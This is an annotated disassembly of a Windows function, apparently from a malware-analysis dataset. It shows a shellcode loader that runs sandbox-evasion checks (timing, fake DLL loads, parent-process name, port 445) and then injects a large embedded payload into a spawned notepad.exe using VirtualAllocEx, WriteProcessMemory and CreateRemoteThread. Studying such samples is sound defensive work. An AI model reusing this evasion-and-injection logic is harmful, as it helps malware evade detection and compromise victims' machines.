Function at 0x140007ca0
Capabilities:
Act as tcp client
Allocate or change rwx memory
Check for time delay via gettickcount
Connect socket
Connect tcp socket
Create process on windows
Create process suspended
Create tcp socket
Create thread
Enumerate process modules
Enumerate processes
Execute shellcode via indirect call
Initialize winsock library
Inject thread
Query environment variable
Read file on windows
Spawn thread to rwx shellcode
Write and execute a file
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x10388
call fcn.140002310
sub rsp, rax
lea rbp, [rsp + 0x80]
movapd xmmword [rbp + 0x102f0], xmm8
movapd xmmword [rbp + 0x102e0], xmm7
movapd xmmword [rbp + 0x102d0], xmm6
call fcn.140001520
mov dword [rbp + 0x10214], 0
mov rax, qword [0x14013eb50]
mov qword [rbp + 0x102c0], rax
mov dword [rbp + 0x10218], 0
mov dword [rbp + 0x1021c], 0
mov dword [rbp + 0x10220], 0
mov dword [rbp + 0x10224], 0
mov dword [rbp + 0x10228], 0
mov dword [rbp + 0x1022c], 0
mov dword [rbp + 0x10230], 0
mov dword [rbp + 0x10234], 0
mov dword [rbp + 0x10238], 0
mov dword [rbp + 0x1023c], 0
mov dword [rbp + 0x10240], 0
mov dword [rbp + 0x10244], 0
mov dword [rbp + 0x10248], 0
mov dword [rbp + 0x1024c], 0
mov dword [rbp + 0x10250], 0
mov dword [rbp + 0x10254], 0
mov dword [rbp + 0x10258], 0
mov dword [rbp + 0x1025c], 0
mov dword [rbp + 0x10260], 0
mov dword [rbp + 0x10264], 0
mov dword [rbp + 0x10268], 0
mov dword [rbp + 0x1026c], 0
mov dword [rbp + 0x10270], 0
mov dword [rbp + 0x10274], 0
mov dword [rbp + 0x10278], 0
mov dword [rbp + 0x1027c], 0
mov dword [rbp + 0x10280], 0
mov dword [rbp + 0x10284], 0
mov dword [rbp + 0x10288], 0
mov dword [rbp + 0x1028c], 0
mov r12, qword [0x14013eb50]
mov dword [rbp + 0x10290], 0
mov dword [rbp + 0x10294], 0
mov dword [rbp + 0x10298], 0
mov dword [rbp + 0x1029c], 0
mov dword [rbp + 0x102a0], 0
mov dword [rbp + 0x102a4], 0
mov dword [rbp + 0x102a8], 0
mov dword [rbp + 0x102ac], 0
mov dword [rbp + 0x102b0], 0
mov dword [rbp + 0x102b4], 0
mov dword [rbp + 0x102b8], 0
mov rdi, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rdi
mov esi, eax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call rdi
mov edi, eax
sub edi, esi
cmp edi, 0x3e8
setb r13b
lea rax, str.Time2_check_passed._Execution_seems_normal._n
lea rcx, str.Time2_check_failed._Potential_matrix_detected._n
cmovae rcx, rax
call r12
lea rcx, str.Executing_fs1..._n
call r12
movups xmm0, xmmword [0x140009adc]
movups xmmword [rbp + 0xffec], xmm0
movaps xmm0, xmmword [0x140009ad0]
movaps xmmword [rbp + 0xffe0], xmm0
movapd xmm0, xmmword [str.To_be_or_not_to_be__this_is_not_a_question.]
movapd xmmword [rbp + 0xffd0], xmm0
lea rcx, [rbp + 0xffd0]
call sub.msvcrt.dll_strlen
mov r15, rax
mov dword [rbp + 0x102cc], 0
mov dword [rbp + 0x102bc], 0
xorpd xmm0, xmm0
movapd xmmword [rbp + 0x101d0], xmm0
movapd xmmword [rbp + 0x101c0], xmm0
movapd xmmword [rbp + 0x101b0], xmm0
movapd xmmword [rbp + 0x101a0], xmm0
movapd xmmword [rbp + 0x10190], xmm0
movapd xmmword [rbp + 0x10180], xmm0
movapd xmmword [rbp + 0x10170], xmm0
movapd xmmword [rbp + 0x10160], xmm0
movapd xmmword [rbp + 0x10150], xmm0
movapd xmmword [rbp + 0x10140], xmm0
movapd xmmword [rbp + 0x10130], xmm0
movapd xmmword [rbp + 0x10120], xmm0
movapd xmmword [rbp + 0x10110], xmm0
movapd xmmword [rbp + 0x10100], xmm0
movapd xmmword [rbp + 0x100f0], xmm0
movapd xmmword [rbp + 0x100e0], xmm0
lea rcx, [0x140009aec]
lea r14, [rbp - 0x30]
mov rdx, r14
mov r8d, 0xffff
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov rcx, r14
call sub.msvcrt.dll_strlen
movabs rcx, 0x2e73656b6168735c
mov qword [rbp + rax - 0x30], rcx
mov dword [rbp + rax - 0x28], 0x747874
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 1
mov rcx, r14
mov edx, 0x40000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x14000812c
mov rsi, rax
mov qword [rsp + 0x20], 0
lea rdx, [rbp + 0xffd0]
lea r9, [rbp + 0x102cc]
mov rcx, rax
mov r8d, r15d
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Failed_to_write_data_to_file._n
test ebx, ebx
je 0x14000813c
cmp dword [rbp + 0x102cc], r15d
jne 0x14000813c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
lea rcx, [rbp - 0x30]
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x140008135
mov rbx, rax
xor r14d, r14d
mov r14b, r13b
mov qword [rsp + 0x20], 0
lea rsi, [rbp + 0x100e0]
lea r9, [rbp + 0x102bc]
mov rcx, rax
mov rdx, rsi
mov r8d, 0xff
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0xffd0]
mov rcx, rsi
call sub.msvcrt.dll_strstr
test rax, rax
sete sil
lea rax, str.Data_mismatch_in_file._n
lea rcx, str.Data_verified_in_file._n
cmove rcx, rax
call r12
cmp edi, 0x3e8
mov r15d, 2
adc r15d, 0xffffffff
test sil, 1
cmove r15d, r14d
lea r14, [rbp - 0x30]
jmp 0x14000814f
lea rcx, str.Failed_to_create_file_for_writing._n
jmp 0x14000813c
lea rcx, str.Failed_to_open_file_for_reading._n
call r12
cmp edi, 0x3e8
mov r15d, 2
adc r15d, 0xffffffff
lea rcx, str.Executing_fs2..._n
call r12
lea rdi, str.Kernel32.DLL
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400081d9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rdi, str.networkexplorer.DLL
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400081d9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rdi, str.User32.DLL
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400081d9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rcx, str.NightWing.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000840f
lea rcx, str.Fake_DLL_loaded:__s_n
lea rdx, str.NightWing.DLL
jmp 0x1400081e3
lea rcx, str.Failed_to_load_real_DLL:__s_n
mov rdx, rdi
call r12
mov eax, 1
add r15d, eax
mov dword [0x14013f6e4], 0
mov byte [0x14013f6e0], 0
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0
lea r8, [0x140008c70]
mov rsi, qword [sym.imp.msvcrt.dll__beginthreadex]
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call rsi
mov rdi, rax
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0
lea r8, [0x140008c40]
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call rsi
mov rsi, rax
mov rbx, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rax
mov edx, 0xffffffff
call rbx
mov rcx, rdi
mov edx, 0xffffffff
call rbx
mov r14, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call r14
mov rcx, rdi
call r14
movzx r13d, byte [0x14013f6e0]
lea rax, str.time3:_No_matrix_detected._The_counter_reached_the_expected_value._n
lea rcx, str.time3:_Potential_matrix_detected._The_counter_did_not_reach_the_expected_value_before_the_check._n
test r13d, r13d
cmovne rcx, rax
call r12
xor r13d, 1
add r13d, r15d
lea rcx, str.Executing_instrumentation9..._n
call r12
lea rcx, [rbp + 0xffd0]
mov r8d, 0x104
xor edx, edx
call sub.msvcrt.dll_memset
lea rcx, str.Kernel32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400083b3
mov r15, rax
lea rdx, [0x140009c2f]
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call rbx
mov rsi, rax
lea rdx, [0x140009c48]
mov rcx, r15
call rbx
mov rdi, rax
lea rdx, [0x140009c57]
mov rcx, r15
call rbx
test rax, rax
je 0x1400083ce
test rdi, rdi
je 0x1400083ce
test rsi, rsi
je 0x1400083ce
mov rbx, rax
mov ecx, 2
xor edx, edx
call rsi
cmp rax, 0xffffffffffffffff
mov r12, qword [rbp + 0x102c0]
je 0x1400083f2
mov r14, rax
mov dword [rbp + 0x100e0], 0x130
lea rdx, [rbp + 0x100e0]
mov rcx, rax
call rdi
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
test edi, edi
je 0x140008392
mov esi, eax
lea rdi, [rbp + 0x100e0]
nop dword [rax]
cmp esi, dword [rbp + 0x100e8]
je 0x140008438
mov dword [rbp + 0x100e0], 0x130
mov rcx, r14
mov rdx, rdi
call rbx
test eax, eax
jne 0x140008370
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Failed_to_find_current_process_in_snapshot._n
call r12
jmp 0x140008541
lea rcx, str.Unable_to_load_Kernel32.dll_n
call r12
mov eax, 1
mov r12, qword [rbp + 0x102c0]
jmp 0x14000854a
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rcx, str.Function_pointers_could_not_be_initialized._n
mov r12, qword [rbp + 0x102c0]
call r12
mov eax, 1
jmp 0x14000854a
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rcx, str.ERROR:_INVALID_HANDLE_VALUE_n
call r12
mov eax, 1
jmp 0x140008543
lea rcx, str.Pokemon.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140008bcf
lea rcx, str.Fake_DLL_loaded:__s_n
lea rdx, str.Pokemon.DLL
jmp 0x1400081e3
mov edi, dword [rbp + 0x10100]
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
je 0x140008491
mov rbx, rax
mov dword [rbp - 0x30], 0x130
lea rdx, [rbp - 0x30]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140008488
lea rsi, [rbp - 0x30]
nop
cmp dword [rbp - 0x28], edi
je 0x140008be0
mov rcx, rbx
mov rdx, rsi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140008470
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rbp + 0xffd0], 0
movabs rax, 0x6578652e646d63
mov rcx, qword [rbp + 0xffd0]
movabs rdx, 0x7265726f6c707865
xor rdx, rcx
lea rbx, [rax + 0xdf80f]
xor rbx, qword [rbp + 0xffd5]
or rbx, rdx
je 0x140008525
cmp rcx, rax
je 0x140008525
movabs rcx, 0x6568737265776f70
xor rcx, qword [rbp + 0xffd0]
add rax, 0x7ff02
xor rax, qword [rbp + 0xffd7]
or rax, rcx
je 0x140008525
lea rcx, str.Instrumentation_detected_based_on_parent_process_name._n
call r12
lea rcx, str.Parent_process_name:__s_n
lea rdx, [rbp + 0xffd0]
call r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140008543
lea rcx, str.No_instrumentation_detected_based_on_parent_process_name._n
call r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov r14, qword [sym.imp.KERNEL32.dll_CloseHandle]
add r13d, eax
lea rcx, str.Executing_network445..._n
call r12
lea rsi, [rbp - 0x30]
mov cx, 0x202
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140008586
lea rcx, str.WSA_Initialization_failed._n
call r12
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ebx, 1
jmp 0x14000862f
mov ebx, 1
mov ecx, 2
mov edx, 1
mov r8d, 6
call qword [sym.imp.WS2_32.dll_socket]
cmp rax, 0xffffffffffffffff
je 0x14000861f
mov rdi, rax
mov qword [rbp + 0x100e8], 0
mov word [rbp + 0x100e0], 2
mov cx, 0x1bd
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x100e2], ax
lea rcx, str.127.0.0.1
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x100e4], eax
lea rdx, [rbp + 0x100e0]
mov rcx, rdi
mov r8d, 0x10
call qword [sym.imp.WS2_32.dll_connect]
xor ebx, ebx
test eax, eax
sete bl
lea rax, str.Connected_to_port_445__no_matrix_detected._n
lea rcx, str.Connection_to_port_445_failed__possibly_in_matrix._n
cmove rcx, rax
call r12
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140008629
lea rcx, str.Socket_creation_failed._n
call r12
call qword [sym.imp.WS2_32.dll_WSACleanup]
add r13d, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, 0x410
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x140008672
mov rdi, rax
lea rdx, [rbp - 0x30]
lea r9, [rbp + 0x100e0]
mov rcx, rax
mov r8d, 0x2000
call sub.PSAPI.DLL_EnumProcessModules
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp r13d, 3
jae 0x140008c0b
lea rcx, str.Most_checks_passed._Continuing_execution._n
call r12
xorpd xmm0, xmm0
movapd xmmword [rbp - 0x30], xmm0
movapd xmmword [rbp - 0x20], xmm0
movapd xmmword [rbp - 0x10], xmm0
movapd xmmword [rbp], xmm0
movapd xmmword [rbp + 0x10], xmm0
movapd xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], 0
mov dword [rbp - 0x30], 0x68
movapd xmmword [rbp + 0x100e0], xmm0
mov qword [rbp + 0x100f0], 0
lea rax, [rbp + 0x100e0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rsi
movupd xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, str.notepad.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000878e
lea rcx, str.___Classic_execution_starts__I_will_be_whispering_in_your_ears__n
call r12
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov ecx, eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x66666667
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x21
add ecx, edx
lea ecx, [rcx + rcx*4]
sub eax, ecx
cmp eax, 4
ja case.default.0x14000875e
lea rcx, [0x140008c20]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov qword [rbp + 0xffd0], rax
lea rcx, [rbp + 0xffd0]
call qword [sym.imp.msvcrt.dll__ctime64]
lea rcx, str._ahoy__Current_time:__s
mov rdx, rax
call r12
jmp case.default.0x14000875e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateProcess_failed___d_._n
mov edx, eax
call r12
mov eax, 0xffffffff
jmp 0x140008ba5
lea rcx, str.test.txt
lea rdx, [0x140009f1a]
call sub.msvcrt.dll_fopen
test rax, rax
je 0x140008abe
mov rsi, rax
lea rcx, str._ahoy__This_is_a_test_file._n
mov edx, 0x1c
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rcx, rsi
call sub.msvcrt.dll_fclose
lea rcx, str._ahoy__File_test.txt_created_and_written_successfully._n
jmp 0x140008ac5
lea rcx, str._ahoy__Memory_allocated_and_set_to__d._n
mov edx, 0x2a
call r12
lea rcx, str._ahoy__Memory_freed._n
jmp 0x140008ac5
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov ecx, eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rax, rdx, 0x51eb851f
mov rcx, rax
shr rcx, 0x3f
sar rax, 0x25
add eax, ecx
imul eax, eax, 0x64
sub edx, eax
lea rcx, str._ahoy__Random_number:__d_n
call r12
jmp case.default.0x14000875e
movsd xmm0, qword [0x140009880]
movsd xmm8, qword [0x140009888]
movapd xmm7, xmmword [0x140009890]
xorpd xmm1, xmm1
movsd xmm6, qword [0x1400098a0]
movapd xmm2, xmm0
nop word [rax + rax]
movapd xmm3, xmm2
movapd xmm2, xmm0
divsd xmm2, xmm3
addsd xmm2, xmm3
mulsd xmm2, xmm8
movapd xmm4, xmm2
subsd xmm4, xmm3
movapd xmm3, xmm4
xorpd xmm3, xmm7
movapd xmm5, xmm4
cmpltsd xmm5, xmm1
andpd xmm3, xmm5
andnpd xmm5, xmm4
orpd xmm5, xmm3
ucomisd xmm5, xmm6
ja 0x140008880
lea rcx, str._ahoy__The_square_root_of__.2f_is__.2f._n
movq xmm1, qword [0x140009880]
movq rdx, xmm1
movq r8, xmm2
call r12
movsd xmm0, qword [0x1400098a8]
pxor xmm1, xmm1
movapd xmm2, xmm0
nop dword [rax]
movapd xmm3, xmm2
movapd xmm2, xmm0
divsd xmm2, xmm3
addsd xmm2, xmm3
mulsd xmm2, xmm8
movapd xmm4, xmm2
subsd xmm4, xmm3
movapd xmm3, xmm4
xorpd xmm3, xmm7
movapd xmm5, xmm4
cmpltsd xmm5, xmm1
andpd xmm3, xmm5
andnpd xmm5, xmm4
orpd xmm5, xmm3
ucomisd xmm5, xmm6
ja 0x1400088f0
lea rcx, str._ahoy__The_square_root_of__.2f_is__.2f._n
movq xmm1, qword [0x1400098a8]
movq rdx, xmm1
movq r8, xmm2
call r12
movsd xmm0, qword [0x1400098b0]
pxor xmm1, xmm1
movapd xmm2, xmm0
nop dword [rax]
movapd xmm3, xmm2
movapd xmm2, xmm0
divsd xmm2, xmm3
addsd xmm2, xmm3
mulsd xmm2, xmm8
movapd xmm4, xmm2
subsd xmm4, xmm3
movapd xmm3, xmm4
xorpd xmm3, xmm7
movapd xmm5, xmm4
cmpltsd xmm5, xmm1
andpd xmm3, xmm5
andnpd xmm5, xmm4
orpd xmm5, xmm3
ucomisd xmm5, xmm6
ja 0x140008960
lea rcx, str._ahoy__The_square_root_of__.2f_is__.2f._n
movq xmm1, qword [0x1400098b0]
movq rdx, xmm1
movq r8, xmm2
call r12
movsd xmm0, qword [0x1400098b8]
pxor xmm1, xmm1
movapd xmm2, xmm0
nop dword [rax]
movapd xmm3, xmm2
movapd xmm2, xmm0
divsd xmm2, xmm3
addsd xmm2, xmm3
mulsd xmm2, xmm8
movapd xmm4, xmm2
subsd xmm4, xmm3
movapd xmm3, xmm4
xorpd xmm3, xmm7
movapd xmm5, xmm4
cmpltsd xmm5, xmm1
andpd xmm3, xmm5
andnpd xmm5, xmm4
orpd xmm5, xmm3
ucomisd xmm5, xmm6
ja 0x1400089d0
lea rcx, str._ahoy__The_square_root_of__.2f_is__.2f._n
movq xmm1, qword [0x1400098b8]
movq rdx, xmm1
movq r8, xmm2
call r12
lea rcx, str._ahoy__The_square_root_of__.2f_is_not_a_real_number._n
movq xmm1, qword [0x1400098c0]
movq rdx, xmm1
call r12
movsd xmm0, qword [0x1400098c8]
pxor xmm1, xmm1
movapd xmm2, xmm0
nop word cs:[rax + rax]
nop dword [rax]
movapd xmm3, xmm2
movapd xmm2, xmm0
divsd xmm2, xmm3
addsd xmm2, xmm3
mulsd xmm2, xmm8
movapd xmm4, xmm2
subsd xmm4, xmm3
movapd xmm3, xmm4
xorpd xmm3, xmm7
movapd xmm5, xmm4
cmpltsd xmm5, xmm1
andpd xmm3, xmm5
andnpd xmm5, xmm4
orpd xmm5, xmm3
ucomisd xmm5, xmm6
ja 0x140008a60
lea rcx, str._ahoy__The_square_root_of__.2f_is__.2f._n
movq xmm1, qword [0x1400098c8]
movq rdx, xmm1
movq r8, xmm2
call r12
jmp case.default.0x14000875e
lea rcx, str._ahoy__Failed_to_create_file._n
call r12
mov rsi, qword [rbp + 0x100e0]
mov dword [rsp + 0x20], 0x40
mov r8d, 0x131a85
mov rcx, rsi
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x140008b62
mov rdi, rax
mov qword [rsp + 0x20], 0
lea r8, [0x14000d0c0]
mov r9d, 0x131a85
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140008b71
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140008b85
lea rcx, str.____magiccode_execution_wait_failed_n
jmp 0x140008b8c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x1400098d0]
jmp 0x140008b7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____WriteProcessMemory_failed___d_._n
mov edx, eax
call r12
jmp 0x140008b8f
lea rcx, str.___magiccode_execution_completed_n
call r12
mov rcx, qword [rbp + 0x100e0]
call r14
mov rcx, qword [rbp + 0x100e8]
call r14
xor eax, eax
movaps xmm6, xmmword [rbp + 0x102d0]
movaps xmm7, xmmword [rbp + 0x102e0]
movaps xmm8, xmmword [rbp + 0x102f0]
add rsp, 0x10388
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.DLL_check_passed._n
call r12
xor eax, eax
jmp 0x1400081eb
lea rdx, [rbp - 4]
lea rcx, [rbp + 0xffd0]
mov r8d, 0x104
call sub.msvcrt.dll_strncpy
mov byte [rbp + 0x100d3], 0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140008498
lea rcx, str.More_than_2_black_cats_indicate_matrix._Exit__exit._n
call r12
mov ecx, 1
call sub.msvcrt.dll_exit
int3